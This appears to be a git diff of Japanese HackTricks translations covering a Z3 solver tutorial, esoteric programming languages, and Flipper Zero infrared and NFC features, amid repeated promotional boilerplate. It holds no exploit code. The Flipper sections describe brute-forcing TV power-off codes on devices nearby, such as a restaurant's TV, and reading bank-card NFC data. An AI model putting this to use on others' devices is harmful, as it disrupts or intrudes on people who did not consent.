* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬 Discordグループ](https://emojipedia.org/speech-balloon/)**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -1,23 +1,23 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**フォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
</details>
このツールは基本的に、手計算で満たすべき条件を持つ変数の値を見つけるのが非常に面倒な場合に役立ちます。したがって、変数が満たすべき条件をZ3に指示すると、可能であればいくつかの値を見つけてくれます。
非常に基本的に、このツールは、特定の条件を満たす必要がある変数の値を見つけるのに役立ち、手計算するのは非常に面倒です。したがって、Z3に変数が満たす必要がある条件を示すことができ、それがいくつかの値を見つけます可能な場合
# 基本操作
# 基本的な操作
## ブール/And/Or/Not
## ブール/And/Or/Not
```python
#pip3 install z3-solver
from z3 import *
@ -66,9 +66,9 @@ print ("x = %s" % m[x])
for d in m.decls():
print("%s = %s" % (d.name(), m[d]))
```
# マシン算術
# 機械算術
現代のCPUと主流のプログラミング言語は、**固定サイズのビットベクトル**上での算術を使用します。マシン算術はZ3Pyで**ビットベクトル**として利用可能です。
現代のCPUおよび主要なプログラミング言語は、**固定サイズのビットベクトル**上で算術演算を行います。機械算術はZ3Pyで**ビットベクトル**として利用できます。
```python
from z3 import *
@ -83,9 +83,9 @@ a = BitVecVal(-1, 32)
b = BitVecVal(65535, 32)
print(simplify(a == b)) #This is False
```
## 符号付き/符号なし数値
## 符号付き/符号なし数値
Z3は、**ビットベクターが符号付きまたは符号なしとして扱われるか**によって違いが生じる場合に特別な符号付きの算術演算を提供します。Z3Pyでは、演算子 **<, <=, >, >=, /, % および >>** は**符号付き**バージョンに対応しています。対応する**符号なし**演算子は **ULT, ULE, UGT, UGE, UDiv, URem および LShR** です。
Z3は、**ビットベクトルが符号付きか符号なしかによって違いが生じる**特別な符号付きの算術演算を提供します。Z3Pyでは、演算子**<<=、>、>=、/、%、および >>** が**符号付き**バージョンに対応しています。対応する**符号なし**演算子は**ULT、ULE、UGT、UGE、UDiv、URem、および LShR**です。
```python
from z3 import *
@ -105,9 +105,9 @@ solve(ULT(x, 0))
```
## 関数
**解釈される関数** は、例えば算術において**関数 +** は**固定された標準的な解釈**を持っています(二つの数を加算します)。**解釈されない関数**と定数は**最大限に柔軟**です。それらは関数や定数に対する**制約**と**矛盾しない**任意の解釈を可能にします。
**解釈された関数** は、**関数 +** が **固定された標準解釈** を持つ算術などの関数です2つの数を加算します**解釈されていない関数** と定数は **最大限に柔軟** です。関数や定数に関する **制約****整合性** を持つ **任意の解釈** を許可します。
f が x に対して二回適用されると再び x になりますが、f が一回 x に適用されると x とは異なります。
: x に 2 回適用された f は再び x になりますが、x に 1 回適用された f は x とは異なります。
```python
from z3 import *
@ -178,21 +178,21 @@ print_matrix(r)
else:
print "failed to solve"
```
# 参考文献
## 参考文献
* [https://ericpony.github.io/z3py-tutorial/guide-examples.htm](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする**
* **ハッキングテクニックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください
</details>

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**ですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
## [エソテリック言語ウィキ](https://esolangs.org/wiki/Main\_Page)
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
さらにエソテリック言語を検索するためにそのウィキをチェックしてください
そのウィキをチェックして、さらにエソテリック言語を検索してください
## Malbolge
```
@ -27,7 +27,7 @@
![](<../.gitbook/assets/image (146).png>)
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet/npiet-execute.php)
## Rockstar
```
@ -62,7 +62,7 @@ Whisper my world
## PETOOH
ペトゥー (PETOOH) は、スタックベースのエスオテリックプログラミング言語で、2つの命令セットを使用します
ペトゥー (PETOOH) は、スタックベースのエスオテリックプログラミング言語であり、ロシアのプログラマーであるAlbert Grafovによって作成されました
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -76,10 +76,10 @@ Kukarek
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**最新版のPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬 Discordグループ](https://emojipedia.org/speech-balloon/)に参加**するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬 Discordグループ](https://emojipedia.org/speech-balloon/)に参加**するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローしてください[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手します
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今日。
最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今日。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -26,16 +26,16 @@
* **NFCカードの読み取り/キャプチャ/エミュレート:** [**NFC**](fz-nfc.md)****
* **125kHzタグの読み取り/キャプチャ/エミュレート:** [**125kHz RFID**](fz-125khz-rfid.md)****
* **赤外線信号の読み取り/キャプチャ/送信:** [**Infrared**](fz-infrared.md)****
* **iButtonの読み取り/キャプチャ/エミュレート:** [**iButton**](../ibutton.md)****
* **iButtonsの読み取り/キャプチャ/エミュレート:** [**iButton**](../ibutton.md)****
* **Bad USBとして使用**
* **セキュリティキーU2Fとして使用**
* **Snakeをプレイ**
**他のFlipper Zeroリソースは** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero) **にあります。**
**他のFlipper Zeroリソースは**[**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero)****
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今日。
最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今日。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -43,10 +43,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手します
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
</details>

View file

@ -7,8 +7,8 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**します
* **ハッキングトリックを共有するは、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出**してください。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
@ -24,23 +24,23 @@
Flipperはデジタル赤外線信号受信機TSOPを使用しており、**IRリモコンからの信号を傍受**することができます。Xiaomiなどの**一部のスマートフォン**にはIRポートが搭載されていますが、**ほとんどは送信のみ**であり、**受信はできません**。
Flipperの赤外線**受信機能は非常に敏感**です。TVとリモコンの間の**どこかにいる**状態でも信号を**キャッチ**することができます。FlipperのIRポートにリモコンを直接向ける必要はありません。これは、誰かがTVの近くでチャンネルを切り替えているときに便利です。あなたとFlipperが離れた場所にいる場合でも、信号を受信できます。
Flipperの赤外線受信機能は**非常に敏感**です。TVとリモコンの間の**どこかにいる**状態でも信号を**キャッチ**することができます。FlipperのIRポートにリモコンを直接向ける必要はありません。これは、誰かがTVの近くでチャンネルを切り替えているときに便利です。あなたとFlipperが離れた場所にいる場合でも、信号を受信できます。
赤外線の**デコード**は**ソフトウェア**側で行われるため、Flipper Zeroは潜在的に**任意のIRリモコンコードの受信と送信**をサポートします。**認識できない**プロトコルの場合、受信したままの生の信号を**記録して再生**します。
赤外線信号の**デコード**は**ソフトウェア**側で行われるため、Flipper Zeroは潜在的に**任意のIRリモコンコードの受信と送信**をサポートします。**認識できない**プロトコルの場合、Flipperは受信したままの生の信号を**記録して再生**します。
## アクション
### ユニバーサルリモコン
Flipper Zeroは、**どんなTV、エアコン、メディアセンターも制御するためのユニバーサルリモコン**として使用できます。このモードでは、FlipperはSDカードからの辞書に従って、すべてのサポートされているメーカーの**すべての既知のコードをブルートフォース**します。特定のリモコンを選択してレストランのTVの電源を切る必要はありません。
Flipper Zeroは、**どんなTV、エアコン、メディアセンターも制御するためのユニバーサルリモコン**として使用できます。このモードでは、FlipperはSDカードからの辞書に従って、すべてのサポートされているメーカーの**すべての既知のコードをブルートフォース**します。特定のリモコンを選択してレストランのTVの電源を切る必要はありません。
ユニバーサルリモコンモードで電源ボタンを押すだけで、Flipperは知っているすべてのTVSony、Samsung、Panasonicなどに「電源オフ」コマンドを順送信します。TVがその信号を受信すると、反応して電源が切れます。
ユニバーサルリモコンモードで電源ボタンを押すだけで、Flipperは知っているすべてのTVSony、Samsung、Panasonicなどに「電源オフ」コマンドを順番に送信します。TVがその信号を受信すると、反応して電源が切れます。
このようなブルートフォースには時間がかかります。辞書が大きいほど、終了するのに時間がかかります。TVが正確にどの信号を認識したかを特定することは不可能です。TVからのフィードバックがないためです。
このようなブルートフォースには時間がかかります。辞書が大きいほど、終了するのに時間がかかります。TVが正確にどの信号を認識したかを特定することは不可能です。
### 新しいリモコンの学習
Flipper Zeroで赤外線信号を**キャプチャ**することが可能です。Flipperがデータベースで信号を**見つけると**、自動的に**どのデバイスかを知り**、それとやり取りできるようにします。\
Flipper Zeroで赤外線信号を**キャプチャ**することができます。Flipperがデータベースで信号を**見つけると**、自動的に**どのデバイスかを知り**、それとやり取りできるようにします。\
見つからない場合、Flipperは**信号を保存**し、**再生**することができます。
## 参考文献

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを入手しましょう。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを入手しましょう。
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有する、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
脆弱性を見つけて修正を迅速に行いましょう。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまでの問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -22,7 +22,7 @@
## イントロ <a href="#9wrzi" id="9wrzi"></a>
RFIDとNFCに関する情報は、以下のページを参照してください:
RFIDとNFCに関する情報はのページを参照してください:
{% content-ref url="../../../radio-hacking/pentesting-rfid.md" %}
[pentesting-rfid.md](../../../radio-hacking/pentesting-rfid.md)
@ -31,7 +31,7 @@ RFIDとNFCに関する情報は、以下のページを参照してください
## サポートされているNFCカード <a href="#9wrzi" id="9wrzi"></a>
{% hint style="danger" %}
NFCカード以外にも、Flipper Zeroはいくつかの**Mifare** ClassicやUltralight、**NTAG**など**他の種類の高周波カード**をサポートしています。
NFCカード以外にも、Flipper Zeroはいくつかの**Mifare** ClassicやUltralight、**NTAG**など**他の種類の高周波カード**をサポートしています。
{% endhint %}
新しい種類のNFCカードがサポートされる予定です。Flipper Zeroは以下の**NFCカードタイプA**ISO 14443Aをサポートしています
@ -45,9 +45,9 @@ NFCカード以外にも、Flipper Zeroはいくつかの**Mifare** ClassicやUl
#### 銀行カードEMV <a href="#kzmrp" id="kzmrp"></a>
Flipper Zeroは、銀行カードのデータを**保存せず**にUID、SAK、ATQA、および格納されたデータを読み取ることができます。
Flipper Zeroは、銀行カードのデータを**保存せずに**UID、SAK、ATQA、および保存されたデータを読み取ることができます。
銀行カードの読み取り画面Flipper Zeroは、銀行カードのデータを**保存およびエミュレートせず**読み取ることができます。
銀行カードの読み取り画面Flipper Zeroは、銀行カードのデータを**保存およびエミュレートせず**読み取ることができます。
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=916&#x26;w=2662" alt=""><figcaption></figcaption></figure>
@ -61,7 +61,7 @@ Flipper Zeroが**NFCカードのタイプを特定できない**場合、UID、S
### NFCカードタイプB、F、およびV <a href="#wyg51" id="wyg51"></a>
**NFCカードタイプB、F、およびV**について、Flipper ZeroはUIDを保存せずに読み取ることができます。
**NFCカードタイプB、F、およびV**について、Flipper ZeroはUIDを保存せずに読み取り、表示することができます。
<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=1080&#x26;w=2704" alt=""><figcaption></figcaption></figure>
@ -77,9 +77,9 @@ Flipper Zeroは**NFCカードを読み取る**ことができますが、ISO 144
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
Flipperでは、13.56 MHzタグの読み取りを次の2つの部分に分けることができます
